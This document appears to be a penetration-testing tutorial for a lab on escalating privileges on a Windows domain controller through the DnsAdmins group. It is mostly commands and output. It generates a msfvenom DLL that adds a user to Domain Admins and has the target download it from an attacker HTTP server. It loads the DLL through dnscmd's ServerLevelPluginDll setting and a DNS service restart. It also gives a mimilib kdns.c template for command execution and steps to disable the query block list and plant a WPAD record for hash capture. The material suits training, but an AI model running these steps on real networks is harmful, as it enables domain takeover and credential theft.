DnsAdmins
As detailed in this post, the following attack can be performed when DNS is run on a Domain Controller
- DNS management is performed over RPC
- ServerLevelPluginDll allows us to load a custom DLL with zero verification of the DLL's path. This can be done with the
dnscmd
tool from the command line - When a member of the
DnsAdmins
group runs thednscmd
command below, theHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
registry key is populated - When the DNS service is restarted, the DLL in this path will be loaded (i.e., a network share that the Domain Controller's machine account can access)
- An attacker can load a custom DLL to obtain a reverse shell or even load a tool such as Mimikatz as a DLL to dump credentials.
Generating Malicious DLL
neutron@kali[/kali]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll
neutron@kali[/kali]$ sudo python3 -m http.server 7777
[sudo] password for mrb0b:
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -
Downloading file to target
PS C:\xyz> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"
C:\xyz> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED
Only members of the DnsAdmins group are permitted to do this.
C:\xyz> Get-ADGroupMember -Identity DnsAdmins
distinguishedName : CN=netadm,CN=Users,DC=LEGALCORP,DC=LOCAL
name : netadm
objectClass : user
objectGUID : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName : netadm
SID : S-1-5-21-669053619-2741956077-1013132368-1109
After confirming group membership in the DnsAdmins group, we can re-run the command to load a custom DLL.
C:\xyz> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
We must specify the full path to our custom DLL or the attack will not work properly.
With the registry setting containing the path of our malicious plugin configured, and our payload created, the DLL will be loaded the next time the DNS service is started. Membership in the DnsAdmins group doesn't give the ability to restart the DNS service, but this is conceivably something that sysadmins might permit DNS admins to do.
First, we need our user's SID.
C:\xyz> wmic useraccount where name="netadm" get sid
SID
S-1-5-21-669053619-2741956077-1013132368-1109
Once we have the user's SID, we can use the sc
command to check permissions on the service. Per this article, we can see that our user has RPWP
permissions which translate to SERVICE_START
and SERVICE_STOP
.
C:\xyz> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Stopping the DNS Service
C:\xyz> sc stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530
The DNS service will attempt to start and run our custom DLL, but if we check the status, it will show that it failed to start correctly
Starting the DNS Service
C:\xyz> sc start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 6960
FLAGS :
If all goes to plan, our account will be added to the Domain Admins group or receive a reverse shell if our custom DLL was made to give us a connection back.
C:\xyz> net group "Domain Admins" /dom
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator netadm
The command completed successfully.
Cleaning Up
These steps must be taken from an elevated console with a local or domain admin account.
The first step is confirming that the ServerLevelPluginDll
registry key exists. Until our custom DLL is removed, we will not be able to start the DNS service again correctly.
C:\xyz> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
GlobalQueryBlockList REG_MULTI_SZ wpad\0isatap
EnableGlobalQueryBlockList REG_DWORD 0x1
PreviousLocalHostname REG_SZ WINLPE-DC01.legalcorp.local
Forwarders REG_MULTI_SZ 1.1.1.1\08.8.8.8
ForwardingTimeout REG_DWORD 0x3
IsSlave REG_DWORD 0x0
BootMethod REG_DWORD 0x3
AdminConfigured REG_DWORD 0x1
ServerLevelPluginDll REG_SZ adduser.dll
Use the reg delete
command to remove the key that points to our custom DLL.
C:\xyz> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.
Once this is done, we can start up the DNS service again.
C:\xyz> sc.exe start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 4984
FLAGS :
If everything went to plan, querying the DNS service will show that it is running. We can also confirm that DNS is working correctly within the environment by performing an nslookup
against the localhost or another host in the domain.
C:\xyz> sc query dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
As detailed in this post, we could also utilize mimilib.dll to gain command execution by modifying the kdns.c file to execute a reverse shell one-liner or another command of our choosing.
/* Benjamin DELPY `gentilkiwi`
https://blog.gentilkiwi.com
[email protected]
Licence : https://creativecommons.org/licenses/by/4.0/
*/
include "kdns.h"
DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginCleanup()
{
return ERROR_SUCCESS;
}
DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
FILE * kdns_logfile;
pragma warning(push)
pragma warning(disable:4996)
if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
pragma warning(pop)
{
klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
fclose(kdns_logfile);
system("ENTER COMMAND HERE");
}
return ERROR_SUCCESS;
}
Another way to abuse DnsAdmins group privileges is by creating a WPAD record. Membership in this group gives us the rights to disable global query block security, which by default blocks this attack. Server 2008 first introduced the ability to add to a global query block list on a DNS server.
After disabling the global query block list and creating a WPAD record, every machine running WPAD with default settings will have its traffic proxied through our attack machine. We could use Responder or Inveigh to perform traffic spoofing, and attempt to capture password hashes and crack them offline or perform an SMBRelay attack.
Disabling the Global Query Block List
C:\xyz> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.legalcorp.local
Next, we add a WPAD record pointing to our attack machine.
C:\xyz> Add-DnsServerResourceRecordA -Name wpad -ZoneName legalcorp.local -ComputerName dc01.legalcorp.local -IPv4Address 10.10.14.3